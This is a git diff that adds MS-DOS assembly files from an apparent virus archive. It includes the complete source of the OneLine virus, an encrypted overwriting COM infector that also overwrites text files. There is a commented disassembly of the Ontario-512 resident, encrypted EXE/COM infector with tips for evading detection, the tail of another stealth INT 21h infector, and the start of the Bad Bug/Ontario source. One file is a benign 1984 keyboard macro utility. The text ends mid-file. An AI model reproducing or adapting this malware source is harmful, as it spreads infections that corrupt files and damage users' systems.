+;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_30 proc near + push di + lodsb ; String [si] to al + mov cl,al + mov ax,si + add ax,cx + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + mov si,ax + pop di + retn +sub_30 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_31 proc near + push dx + mov ax,es:[bx+2] + xor dx,dx ; Zero register + div word ptr cs:data_41e ; ax,dxrem=dx:ax/data + mov ax,es:[bx] + and al,1Fh + cmp al,dl + stc ; Set carry flag + jz loc_132 ; Jump if zero + mov ax,es:[bx] + and ax,0FFE0h + or al,dl + clc ; Clear carry flag +loc_132: + pop dx + retn +sub_31 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_32 proc near + sub word ptr es:[bx],0DD8h + sbb word ptr es:[bx+2],0 + jnc loc_ret_133 ; Jump if carry=0 + add word ptr es:[bx],0DD8h + adc word ptr es:[bx+2],0 + +loc_ret_133: + retn +sub_32 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_33 proc near + push ax + push bx + push cx + push si + push di + push bp + push ds + push es + call sub_27 + mov ax,4300h + call sub_25 + mov word ptr cs:[0C4Ch],cx + mov ax,4301h + xor cx,cx ; Zero register + call sub_25 + jc loc_135 ; Jump if carry Set + mov ax,3D02h + call sub_25 + jc loc_134 ; Jump if carry Set + push dx + push ds + push cs + pop ds + push cs + pop es + mov ds:data_107e,ax + call sub_26 + mov ah,3Eh ; '>' + call sub_24 + pop ds + pop dx +loc_134: + mov ax,4301h + mov cx,20h + call sub_25 +loc_135: + call sub_28 + pop es + pop ds + pop bp + pop di + pop si + pop cx + pop bx + pop ax + retn +sub_33 endp + + ;* No entry point to code + pushf ; Push flags + sti ; Enable interrupts + cmp ah,11h + je loc_136 ; Jump if equal + cmp ah,12h + jne loc_139 ; Jump if not equal +loc_136: + jmp short $+2 ; delay for I/O + push bx + push es + push ax + mov ah,2Fh ; '/' + call sub_25 + pop ax + call sub_25 + cmp al,0FFh + je loc_138 ; Jump if equal + push ax + cmp byte ptr es:[bx],0FFh + jne loc_137 ; Jump if not equal + add bx,7 +loc_137: + add bx,17h + call sub_31 + pop ax + jnc loc_138 ; Jump if carry=0 + add bx,6 + call sub_32 +loc_138: + pop es + pop bx + popf ; Pop flags + iret ; Interrupt return +loc_139: + cmp ah,4Eh ; 'N' + je loc_140 ; Jump if equal + cmp ah,4Fh ; 'O' + jne loc_143 ; Jump if not equal +loc_140: + push bx + push es + push ax + mov ah,2Fh ; '/' + call sub_25 + pop ax + call sub_25 + jc loc_142 ; Jump if carry Set + push ax + add bx,16h + call sub_31 + pop ax + jnc loc_141 ; Jump if carry=0 + add bx,4 + call sub_32 +loc_141: + pop es + pop bx + popf ; Pop flags + clc ; Clear carry flag + retf 2 ; Return far +loc_142: + pop es + pop bx + popf ; Pop flags + stc ; Set carry flag + retf 2 ; Return far +loc_143: + cmp ax,4B53h + jne loc_144 ; Jump if not equal + mov ax,454Bh + popf ; Pop flags + iret ; Interrupt return +loc_144: + cmp ah,4Ch ; 'L' + jne loc_145 ; Jump if not equal + mov byte ptr cs:[0C6Ah],0 +loc_145: + cld ; Clear direction + push dx + cmp ax,4B00h + jne loc_149 ; Jump if not equal + jmp short loc_148 + ;* No entry point to code + push ax + push bx + push ds + push es + mov ah,52h ; 'R' + call sub_25 + mov ax,es:[bx-2] +loc_146: + mov ds,ax + add ax,ds:data_19e + inc ax + cmp byte ptr ds:data_18e,5Ah ; 'Z' + jne loc_146 ; Jump if not equal + mov bx,cs + cmp ax,bx + jne loc_147 ; Jump if not equal + mov byte ptr ds:data_18e,4Dh ; 'M' + xor ax,ax ; Zero register + mov ds,ax + add word ptr ds:main_ram_size_,4 +loc_147: + mov byte ptr cs:[0CEBh],39h ; '9' + pop es + pop ds + pop bx + pop ax +loc_148: + jmp short loc_153 +loc_149: + cmp ah,3Dh ; '=' + je loc_153 ; Jump if equal + cmp ah,56h ; 'V' + je loc_153 ; Jump if equal + cmp ax,6C00h + jne loc_150 ; Jump if not equal + test dl,12h + mov dx,si + jz loc_153 ; Jump if zero + jmp short loc_154 +loc_150: + cmp ah,3Ch ; '<' + je loc_154 ; Jump if equal + cmp ah,5Bh ; '[' + je loc_154 ; Jump if equal + cmp ah,3Eh ; '>' + jne loc_152 ; Jump if not equal + cmp bx,cs:data_113e + jne loc_152 ; Jump if not equal + or bx,bx ; Zero ? + jz loc_152 ; Jump if zero + call sub_25 + jc loc_155 ; Jump if carry Set + push ds + push cs + pop ds + mov dx,0F69h + call sub_33 + mov word ptr ds:data_113e,0 + pop ds +loc_151: + pop dx + popf ; Pop flags + clc ; Clear carry flag + retf 2 ; Return far +loc_152: + pop dx + popf ; Pop flags + jmp dword ptr cs:[0DE8h] +loc_153: + call sub_29 + jc loc_152 ; Jump if carry Set + call sub_33 + jmp short loc_152 +loc_154: + cmp word ptr cs:data_113e,0 + jne loc_152 ; Jump if not equal + call sub_29 + jc loc_152 ; Jump if carry Set + mov word ptr cs:[0D9Dh],dx + pop dx + push dx + call sub_25 + mov dx,705Ah + jnc loc_156 ; Jump if carry=0 +loc_155: + pop dx + popf ; Pop flags + stc ; Set carry flag + retf 2 ; Return far +loc_156: + push cx + push si + push di + push es + xchg si,dx + mov di,data_113e + push cs + pop es + stosw ; Store ax to es:[di] + mov cx,4Bh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop es + pop di + pop si + pop cx + jmp short loc_151 + db 'Did you leave the room ?' + db 0E9h, 04h + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_34 proc near + cli ; Disable interrupts + xor ax,ax ; Zero register + mov ss,ax + mov sp,7C00h + mov si,sp + push ax + pop es + push ax + pop ds + sti ; Enable interrupts + cld ; Clear direction + mov di,data_13e + mov cx,100h + repne movsw ; Rep zf=0+cx >0 Mov [si] to es:[di] +;* jmp far ptr loc_2 ;* +sub_34 endp + + db 0EAh + dw 61Dh, 0 ; Fixup - byte match + ;* No entry point to code + mov si,data_14e + mov bl,4 + cmp byte ptr [si],80h +;* je loc_157 ;*Jump if equal + db 74h, 0Eh ; Fixup - byte match + add byte ptr [bx+si],0 + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.onekey.asm b/MSDOS/Virus.MSDOS.Unknown.onekey.asm new file mode 100644 index 00000000..59177df5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.onekey.asm @@ -0,0 +1,202 @@ +VECTORS SEGMENT AT 0H ;Set up segment to intercept Interrupts + ORG 9H*4 ;The keyboard Interrupt +KEYBOARD_INT_VECTOR LABEL DWORD + ORG 1CH*4 ;Timer Interrupt +TIMER_VECTOR LABEL DWORD +VECTORS ENDS + +ROM_BIOS_DATA SEGMENT AT 40H ;The ROM BIOS data area in low memory + ORG 1AH ;This is where the keyboard buffer is. +ROM_BUFFER_HEAD DW ? ;The position of the buffer's head +ROM_BUFFER_TAIL DW ? ;And tail. +KB_BUFFER DW 16 DUP (?) ;Reserve space for the buffer itself +KB_BUFFER_END LABEL WORD ;Buffer's end is stored here. +ROM_BIOS_DATA ENDS + +CODE_SEG SEGMENT ;Begin the Code segment holding the programs + ASSUME CS:CODE_SEG + ORG 100H ;Com files start at ORG 100H +BEGIN: JMP INIT_VECTORS ;Skip over data area + +COPY_RIGHT DB '(C) 1984 S. Holzner' ;The Author's signature +KEYS DW 30 DUP(0) ;The keys we replace +FINISHED_FLAG DB 1 ;If not finished, timer will stuff buffer +COMMANDS DW 1530 DUP(0) ;Scan and ASCII codes of commands +COMMAND_INDEX DW 1 ;Stores position in command (for timer) +ROM_KEYBOARD_INT DD 1 ;Called to interpret keyboard signals +ROM_TIMER DD 1 ;The Timer interrupt's address + +INTERCEPT_KEYBOARD_INT PROC NEAR ;Here it is. + ASSUME DS:NOTHING ;Free DS + PUSH DS ;Save all used registers + PUSH SI + PUSH DI + PUSH DX + PUSH CX + PUSH BX + PUSH AX + PUSHF ;Pushf for Keyboard Int's IRET + CALL ROM_KEYBOARD_INT ;Have new key put into keyboard buffer + ASSUME DS:ROM_BIOS_DATA ;Set up to point at keyboard buffer. + MOV AX,ROM_BIOS_DATA + MOV DS,AX + + MOV BX,ROM_BUFFER_TAIL ;Was there a character? If Tail equals + CMP BX,ROM_BUFFER_HEAD ; Head then no real character typed. + JNE NEWCHAR + JMP NO_NEW_CHARACTERS ;Jump out, no new characters. +NEWCHAR:SUB BX,2 ;Move back two bytes from tail; + CMP BX,OFFSET KB_BUFFER ;Do we have to wrap? + JAE NO_WRAP ;No + MOV BX,OFFSET KB_BUFFER_END ;Wrap by moving two bytes + SUB BX,2 ; before buffer end. +NO_WRAP:MOV AX,[BX] ;Get the character into AX + + CMP FINISHED_FLAG,1 ;Done stuffing the buffer with last command? + JE FIN ;Yes, proceed + JMP NO_NEW_CHARACTERS ;No, leave. + +FIN: MOV FINISHED_FLAG,1 ;Assume we'll finish + + LEA SI,KEYS ;Point source index at keys to replace + MOV CX,30 ;Loop over all of them +LOOPER: CMP AX,CS:[SI] ;Match to given key (in AX)? + JE FOUND ;Yes, key found, continue on. + ADD SI,2 ;Point to next key to check it. + LOOP LOOPER ;Go back for next one. + JMP NO_NEW_CHARACTERS ;Loop finished without match - leave. + +FOUND: CLI ;Turn off hardware (timer, keyboard) Interrupts + LEA SI,COMMANDS ;Set up to read command + NEG CX ;Find the location of first word of command + ADD CX,30 + MOV AX,CX + MOV CX,102 + MUL CL + ADD SI,AX + MOV COMMAND_INDEX,SI ;And move it into Command_Index + +STUFF: MOV AX,CS:[SI] ;Here we go - get ready to stuff word in buffer. + ADD SI,2 ;Point to the command's next character + CMP AX,0 ;Is it a zero? (End of command) + JE NO_NEW_CHARACTERS ;Yes, leave with Finished_Flag=1 + MOV DX,BX ;Find position in buffer from BX + ADD DX,2 ;Move to next position for this word + CMP DX,OFFSET KB_BUFFER_END ;Are we past the end? + JL NO_WRAP2 ;No, don't wrap + MOV DX,OFFSET KB_BUFFER ;Wrap +NO_WRAP2: + CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done? + JE BUFFER_FULL ;Time to leave, set Finished_Flag=0. + ADD COMMAND_INDEX,2 ;Move to next word in command + MOV [BX],AX ;Put it into the buffer right here. + ADD BX,2 ;Point to next space in buffer + CMP BX,OFFSET KB_BUFFER_END ;Wrap here? + JL NO_WRAP3 ;No, readjust buffer tail + MOV BX,OFFSET KB_BUFFER ;Yes, wrap +NO_WRAP3: + MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail + JMP STUFF ;Back to stuff in another character. +BUFFER_FULL: ;If buffer is full, let timer take over + MOV FINISHED_FLAG,0 ; by setting Finished_Flag to 0. +NO_NEW_CHARACTERS: + POP AX ;Restore everything before departure. + POP BX + POP CX + POP DX + POP DI + POP SI + POP DS + STI + IRET ;An interrupt deserves an IRET +INTERCEPT_KEYBOARD_INT ENDP + ASSUME DS:CODE_SEG +INTERCEPT_TIMER PROC NEAR ;This completes filling the buffer + PUSHF ;Store used flags + PUSH DS ;Save DS since we'll change it + PUSH CS ;Put current value of CS into DS + POP DS + CALL ROM_TIMER ;Make obligatory call + PUSHF + CMP FINISHED_FLAG,1 ;Do we have to do anything? + JE OUT ;No, leave + CLI ;Yes, start by clearing interrupts + PUSH DS ;Save these. + PUSH SI + PUSH DX + PUSH BX + PUSH AX + ASSUME DS:ROM_BIOS_DATA ;Point to the keyboard buffer again. + MOV AX,ROM_BIOS_DATA + MOV DS,AX + MOV BX,ROM_BUFFER_TAIL ;Prepare to put charaters in at tail + MOV FINISHED_FLAG,1 ;Assume we'll finish + MOV SI,COMMAND_INDEX ;Find where we left ourselves + +STUFF2: MOV AX,CS:[SI] ;The same stuff loop as above. + ADD SI,2 ;Point to next command character. + CMP AX,0 ;Is it zero? (end of command) + JNE OVER ;No, continue. + JMP NO_NEW_CHARACTERS2 ;Yes, leave with Finished_Flag=1 +OVER: MOV DX,BX ;Find position in buffer from BX + ADD DX,2 ;Move to next position for this word + CMP DX,OFFSET KB_BUFFER_END ;Are we past the end? + JL NO_WRAP4 ;No, don't wrap + MOV DX,OFFSET KB_BUFFER ;Do the Wrap rap. +NO_WRAP4: + CMP DX,ROM_BUFFER_HEAD ;Buffer full but not yet done? + JE BUFFER_FULL2 ;Time to leave, come back later. + ADD COMMAND_INDEX,2 ;Point to next word of command. + MOV [BX],AX ;Put into buffer + ADD BX,2 ;Point to next space in buffer + CMP BX,OFFSET KB_BUFFER_END ;Wrap here? + JL NO_WRAP5 ;No, readjust buffer tail + MOV BX,OFFSET KB_BUFFER ;Yes, wrap +NO_WRAP5: + MOV ROM_BUFFER_TAIL,BX ;Reset buffer tail + JMP STUFF2 ;Back to stuff in another character +BUFFER_FULL2: + MOV FINISHED_FLAG,0 ;Set flag to not-done-yet. +NO_NEW_CHARACTERS2: + POP AX ;Restore these. + POP BX + POP DX + POP SI + POP DS +OUT: POPF ;And Exit. + POP DS + IRET ;With customary IRET +INTERCEPT_TIMER ENDP + +INIT_VECTORS PROC NEAR ;Rest Interrupt vectors here + ASSUME DS:VECTORS + PUSH DS + MOV AX,VECTORS + MOV DS,AX + CLI ;Don't allow interrupts + MOV AX,KEYBOARD_INT_VECTOR ;Get and store old interrupt address + MOV ROM_KEYBOARD_INT,AX + MOV AX,KEYBOARD_INT_VECTOR[2] + MOV ROM_KEYBOARD_INT[2],AX + + MOV KEYBOARD_INT_VECTOR,OFFSET INTERCEPT_KEYBOARD_INT + MOV KEYBOARD_INT_VECTOR[2],CS ;And put ours in place. + MOV AX,TIMER_VECTOR ;Now same for timer + MOV ROM_TIMER,AX + MOV AX,TIMER_VECTOR[2] + MOV ROM_TIMER[2],AX + + MOV TIMER_VECTOR,OFFSET INTERCEPT_TIMER + MOV TIMER_VECTOR[2],CS ;And intercept that too. + STI + ASSUME DS:ROM_BIOS_DATA + MOV AX,ROM_BIOS_DATA + MOV DS,AX + MOV BX,OFFSET KB_BUFFER ;Clear the keyboard buffer. + MOV ROM_BUFFER_HEAD,BX + MOV ROM_BUFFER_TAIL,BX + MOV DX,OFFSET INIT_VECTORS ;Prepare to attach in memory + INT 27H ;And do so. +INIT_VECTORS ENDP +CODE_SEG ENDS + END BEGIN ;End Begin so that we jump there first. diff --git a/MSDOS/Virus.MSDOS.Unknown.oneline.asm b/MSDOS/Virus.MSDOS.Unknown.oneline.asm new file mode 100644 index 00000000..87e274ef --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.oneline.asm @@ -0,0 +1,134 @@ + +; ------------------------------------------------------------ +; -- The OneLine Virus -- +; -- By Arsonic[CodeBreakers] -- +; -- HTTP://CODEBREAKERS.SIMPLENET.COM -- +; ------------------------------------------------------------ + + +; Virus Info: This Virus is a 600 byte Long Encrypted Overwriting piece of +; shit. it will infect all *.com file in the current directory and overwrite +; the first line of all text files found with Famous Lines And Stuff.. + +; Detected By: + +; TBAV: Says This is a Unknown Virus.. But Only on the First Generation.. :) +; FPROT: ??? did'n have it on my computer at the time of scanning.. +; AVP: Nope.. Detected 3000 other virus's i got on my comp.. but not this one.. + +jmp crypt_start + +start: +mov di,si +mov cx,crypt_start +call crypt +jmp crypt_start + +crypt: +xorloop: +lodsb +xor al,byte ptr[xor_value] +stosb +loop xorloop +ret + +xor_value db 0 + +crypt_start: + +mov ah,4eh +lea dx,mask +int 21h +jnc infect +jmp text + +infect: +mov ax,3d02h +mov dx,9eh +int 21h +mov bx,ax + +; I suggest 'xchg bx,ax', because its only 1 byte, but thats your decision + +in al,40h +mov byte ptr [xor_value],al + +lea si,crypt_start +lea di,end +mov cx,end - crypt_start +call crypt + +mov ah,40h +mov cx,crypt_start - start +lea dx,start +int 21h + +mov ah,40h +mov cx,end - crypt_start +lea dx,end +int 21h + +mov ah,3eh +int 21h +jmp find_next + +find_next: +mov ah,3fh +int 21h +jnc infect +jmp text + +text: +mov ah,4eh +lea dx,textmask +int 21h +jnc text_payload +jmp close + +text_payload: +mov ax,3d02h +mov dx,9eh +int 21h + +mov ah,40h +mov cx,message_end - message_start +lea dx,message_start +int 21h + +mov ah,3fh +int 21h +jmp text_findnext + +text_findnext: +mov ah,4fh +int 21h +jnc text_payload +jmp close + +message_start: +db 'LEGALIZE CANNABUS!' +db 'HO HO HO.. NOW I HAVE A MACHINE GUN!' +db 'This is another 60 minutes...' +db 'Burn Baby, BURN!' +db 'Keep The Opressor Opressing..' +db 'Have U Had Your Break TodaY?' +db 'Oh I Wish I Was A Ocsar Myer Wiener!' +db 'What Came First The Chicken Or the Egg?' +db 'Help Me.. Help You!' +db 'SHOW ME THE MONEY!!' +db 'Take it Off Baby!' +db 'ADRIAN!!!!' +db 'Where do You Want To Go Today?' +db 'We Are the Shitty VR! VRLAND SUX SHIT!' +db 'INCOMING!!!!!!!! BOOOOOOOOOMMMMMM!' +message_end: + +close: +int 20h + +mask db '*.com',0 +textmask db '*.txt',0 +author db ' ARSONIC [CODEBREaKERS]',13,10,'$' +virus db 'THE OnELINE VIRUS',13,10,'$' +origin db 'PROUDLY MADE IN CANADA..',13,10,'$' +end: diff --git a/MSDOS/Virus.MSDOS.Unknown.ontar512.asm b/MSDOS/Virus.MSDOS.Unknown.ontar512.asm new file mode 100644 index 00000000..6a315700 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ontar512.asm @@ -0,0 +1,296 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +;-* Ontario-512 Virus *- +;*- ~~~~~~~~~~~~~~~~~~~ -* +;-* Disassmembly by: Rock Steady/NuKE *- +;*- ~~~~~~~~~~~~~~~~ -* +;-* Notes: Resident EXE and COM infector, will infect COMMAND.COM *- +;*- ~~~~~~ on execution. 512 bytes file increase, memory decrease -* +;-* of about 2,048 bytes. Anti-debugging, encrypted virus. *- +;*- -* +;-* (c) Copy-Ya-Rite [NuKE] Viral Development Labs '92 *- +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +virus segment byte public + assume cs:virus, ds:virus + + org 100h ;Guess its a COM File huh? +ont proc far + +start: + jmp go4it ;Jump to beginning of the + db 1Dh ;Virus And start! + db 'fected [NuKE]''92', 0Dh, 0Ah, '$' + mov dx,0102h ;This is the small File the Virus + mov ah,09h ;is infected to! As you see it only + int 21h ;displays that messages and exits + int 20h ;Exit Command for COMs +go4it: + nop + call decrypt ;Get Decryption value & Decrypt viri + call virus_start ;Start the Virus! +ont endp + +;---------------------------------------------------------------------; +; The Start of the Virus Code ; +;---------------------------------------------------------------------; + +virus_start proc near + pop bp + sub bp,7 + mov ax,0FFFFh ;Is Virus in Memory hooked on? + int 21h ;the Int 21h? + or ah,ah ; + jz bye_bye ;Yes it is... Quit then... + push ds + xor ax,ax + mov ds,ax + sub word ptr ds:413h,2 + lds bx,dword ptr ds:84h + mov word ptr cs:[200h][bp],bx + mov word ptr cs:[202h][bp],ds + mov bx,es + dec bx + mov ds,bx + sub word ptr ds:3,80h + mov ax,ds:12h + sub ax,80h + mov ds:12h,ax + mov es,ax + push cs + pop ds + mov si,bp + xor di,di + mov cx,204h + cld + rep movsb + mov ds,cx + cli ;This is where we hook the + mov word ptr ds:84h,7Fh ;virus to the Int21h + mov word ptr ds:84h+2,ax + sti + mov ax,4BFFh + int 21h + pop ds + push ds + pop es +bye_bye: + or bp,bp + jz what + lea si,[bp+7Bh] + nop + mov di,offset ds:[100h] + push di + cld + movsw + movsw + retn +what: + mov ax,es + add cs:7dh,ax +;* jmp far ptr go4it7 +virus_start endp + db 0EAh,0EBh, 15h, 49h, 6Eh + cmp ax,0FFFFh + jne new_21h + inc ax + iret +;---------------------------------------------------------------------; +; Interrupt 21h handler ; +;---------------------------------------------------------------------; +new_21h: + cmp ah,4Bh ;Test, is File beginning Executed! + jne leave_ok ;Nope! Call Int21! + cmp al,3 ;Overlay, beginning execute? + je leave_ok ;Yes! Leave it alone + cmp al,0FFh ;Virus testing to see if its alive? + jne do_it_man ;in memory? + push cs + pop ds + mov dx,1DDh + call infect + iret +do_it_man: + call infect ;Infect file dude... +leave_ok: + jmp dword ptr cs:[200h] ;Int21 handler.. + +;---------------------------------------------------------------------; +; Infection Routine for the Ontario Virus ; +;---------------------------------------------------------------------; + +infect proc near + push es + push ds ;Save them not to fuck things up.. + push dx + push cx + push bx + push ax + mov ax,4300h ;Here we get the file attribute + call int21 ;for file to be infected. + jc outta ;Bitch Error encountered. Quit! + test cl,1 ;Test if its Read-Only! + jz attrib_ok ;Ok, it ain't Read-Only Continue! + and cl,0FEh ;Set Read-Only to normal Attribs + mov ax,4301h ;Call Ints to do it... + call int21 ;Bingo! Done! + jc outta ;Error encountered? Split if yes! +attrib_ok: + mov ax,3D02h ;Open file for Read/Write + call int21 ;Call Interrupt to do it! + jnc open_ok ;no errors? Continue! +outta: + jmp go4it5 ;Hey, Split Man... Errors happened! +open_ok: + mov bx,ax ;BX=File Handle + push cs + pop ds + mov ax,5700h ;Get File's Date & Time + call int21 ;Do it! + mov word ptr ds:[204h],cx ;Save Time + mov word ptr ds:[206h],dx ;Save Date + mov dx,208h ;DX=Pointer + mov cx,1Bh ;CX=Number of Btyes + mov ah,3Fh ;Read From File + call int21 ;Do It! + jc go4it1 ;Errors? Quit if yes! + cmp word ptr ds:[208h],5A4Dh ;Check if files already + je go4it0 ;infected. + mov al,byte ptr ds:[209h] ;Com , Exes... + cmp al,byte ptr ds:[20Bh] + je go4it1 + xor dx,dx + xor cx,cx + mov ax,4202h + call int21 ;Move File pointer to end of + jc go4it1 ;file to be infected. + cmp ax,0E000h ;File bigger than E000 bytes? + ja go4it1 ;Error... + push ax ;Save File Length + mov ax,word ptr ds:[208h] + mov ds:7bh,ax + mov ax,word ptr ds:[20Ah] + mov ds:7dh,ax + pop ax ;All this is, is a complex + sub ax,3 ;way to do "JMP" + mov byte ptr ds:[208h],0E9h ; + mov word ptr ds:[209h],ax + mov byte ptr ds:[20Bh],al + jmp short go4it3 ;File READY Infect it! + db 90h ;NOP me... detection string? +go4it0: + cmp word ptr ds:[21Ch],1 + jne go4it2 +go4it1: + jmp go4it4 +go4it2: + mov ax,word ptr ds:[20Ch] + mov cx,200h + mul cx + push ax + push dx + mov cl,4 + ror dx,cl + shr ax,cl + add ax,dx + sub ax,word ptr ds:[210h] + push ax + mov ax,word ptr ds:[21Ch] + mov ds:7bh,ax + mov ax,word ptr ds:[21Eh] + add ax,10h + mov ds:7dh,ax + pop ax ; This is continues with the + mov word ptr ds:[21Eh],ax ; above to put a JMP at the + mov word ptr ds:[21Ch],1 ; beginning of the file! + inc word ptr ds:[20Ch] ; + pop cx ; + pop dx ; + mov ax,4200h ; + call int21 + jc go4it4 +go4it3: + xor byte ptr ds:[1F8h],8 ; + xor ax,ax ; Theses Lines copy the + mov ds,ax ; virus code else where + mov al,ds:46Ch ; in memory to get it + push cs ; ready to infect the file + pop ds ; as we must encrypt it + push cs ; FIRST when we infect the + pop es ; file. so we'll encrypt + mov byte ptr ds:[1ECh],al ; this copy we're making! + xor si,si ; and append that to the + mov di,offset ds:[224h] ; end of the file + push di ; + mov cx,200h ; + cld ; + rep movsb + mov si,offset ds:[228h] ;Now Encrpyt that copy of the + call encrypt_decrypt ;virus we just made... + pop dx + mov cx,200h ;Write Virus to file! + mov ah,40h ;BX=Handle, CX=Bytes + call int21 ;DX=pointer to write buffer + jc go4it4 ;Duh? Check for errors! + xor cx,cx + xor dx,dx ;Now move pointer to beginning + mov ax,4200h ;of file. + call int21 + jc go4it4 ;Duh? Check for errors! + mov dx,208h ;Write to file! + mov cx,1Bh ;CX=Bytes + mov ah,40h ;DX=pointes to buffer + call int21 ;Bah, HumBug +go4it4: + mov dx,word ptr ds:[206h] ;Leave no tracks... + mov cx,word ptr ds:[204h] ; puts back File TIME + mov ax,5701h ; and DATE! on file... + call int21 ; + mov ah,3Eh ; + call int21 ;Bah, HumBug... +go4it5: + pop ax ;Get lost... + pop bx + pop cx + pop dx + pop ds + pop es + retn +infect endp + +;----------------------------------------------------------------------; +; The Original Interrupt 21h handler ; +;----------------------------------------------------------------------; + +int21 proc near + pushf ;Fake an Int Call... + + call dword ptr cs:[200h] ;Orignal Int21h Handler + retn +int21 endp + + db 'C:\COMMAND.COM' + db 00h, 84h + +;---------------------------------------------------------------------; +; The Simple, But VERY Effective Encryption Routine ; +;---------------------------------------------------------------------; + +decrypt proc near + pop si + push si + mov al,byte ptr cs:[1E8h][si];INCRYPTION VALUE TO CHANGE! +encrypt_decrypt: ;and Virus will be UNDETECTABLE + mov cx,1E8h ; LENGTH OF VIRII! Change this! +loop_me: not al ; if you modief the virus! + xor cs:[si],al ; + inc si ; + loop loop_me ; + ; + retn +decrypt endp + + +virus ends + end start + +;------------------------------------------------------------------------ + diff --git a/MSDOS/Virus.MSDOS.Unknown.ontario1.asm b/MSDOS/Virus.MSDOS.Unknown.ontario1.asm new file mode 100644 index 00000000..1f7652f0 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ontario1.asm @@ -0,0 +1,355 @@ + +comment * + + Older version of Bad Bug, also known as Ontario virus. + --> Written by Death Angel <-- + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + This virus first puts itself in memory, if not already. Infects the + C:\COMMAND.COM file, then infects other files as they are loaded. + It appends itself onto COM and EXE files. + + Identification method: + ====================== + Checking if already in memory - INT 21/AH=FF, returns AX=0 + Checking if COM is infected - 4th byte in file "V" + Checking if EXE is infected - Instruction Pointer is at 1 + + * + +LOC_21 EQU 21H*4 +REAL_SIZE equ offset EOF + +CODE SEGMENT PARA PUBLIC 'CODE' + ASSUME CS:CODE, DS:CODE + ORG 0h + +VBUG PROC FAR + nop + call MASTER_UNCODE +VB01: + call VB00 +VB00: + pop bp + sub BP, +7 + mov ax, -1 + int 21h + or ah, ah + je GO_PROG + + push ds + xor ax, ax + mov ds, ax ;BIOS data area + sub word ptr ds:[0413H], 2 + lds bx, ds:[LOC_21] + mov word ptr cs:[BP]+offset OLD_21, bx + mov word ptr cs:[BP]+offset OLD_21+2, ds ;Get interrupt 21h vector + mov bx, es + dec bx + mov ds, bx + sub word ptr ds:[0003H], 2048/16 ;Paragraph size + mov ax, ds:[0012H] ;Get high memory segment + sub ax, 2048/16 ;Make room for ourself + mov ds:[0012H], ax ;Save it + mov es, ax + push cs + pop ds + mov si, bp ;Put 0000 into SI (if EXE..) + xor di, di + mov cx, REAL_SIZE+4 ;Plus OLD_21 information! + cld + rep movsb + mov ds, cx ;Put zero into DS + cli ;Disable maskable interrupts + mov word ptr ds:LOC_21, offset NEW_21 + mov word ptr ds:LOC_21+2, ax + sti ;Enable interrupts + mov ax, 4BFFH ;Infect COMMAND.COM file! + int 21h + pop ds + push ds + pop es + +GO_PROG: ;Check if EXE or COM program? + or bp, bp ;Are we an EXE file? + je RUN_EXE + +RUN_COM: ;Run this infected .COM file + lea si, [BP]+offset RUN_PROG + mov di, 100H + push di + cld + movsw + movsw +DUMB_ROUTINE PROC NEAR + ret ;Do a local return +DUMB_ROUTINE ENDP + +RUN_EXE: + mov ax, es ;Get PSP segment + add cs:word ptr RUN_PROG+2, ax ;Reallocate entry segment + + db 0EAh ;JMP 0000:0000 + +RUN_PROG db 0B4H, 04CH + db 0CDH, 021H +NEW_21: + cmp ax, -1 + jne NW00 + inc ax ;Overflow to 0000 + iret +NW00: + cmp ah, 4Bh ;Infect program being executed + jne RUN_OLD_21 + cmp al, 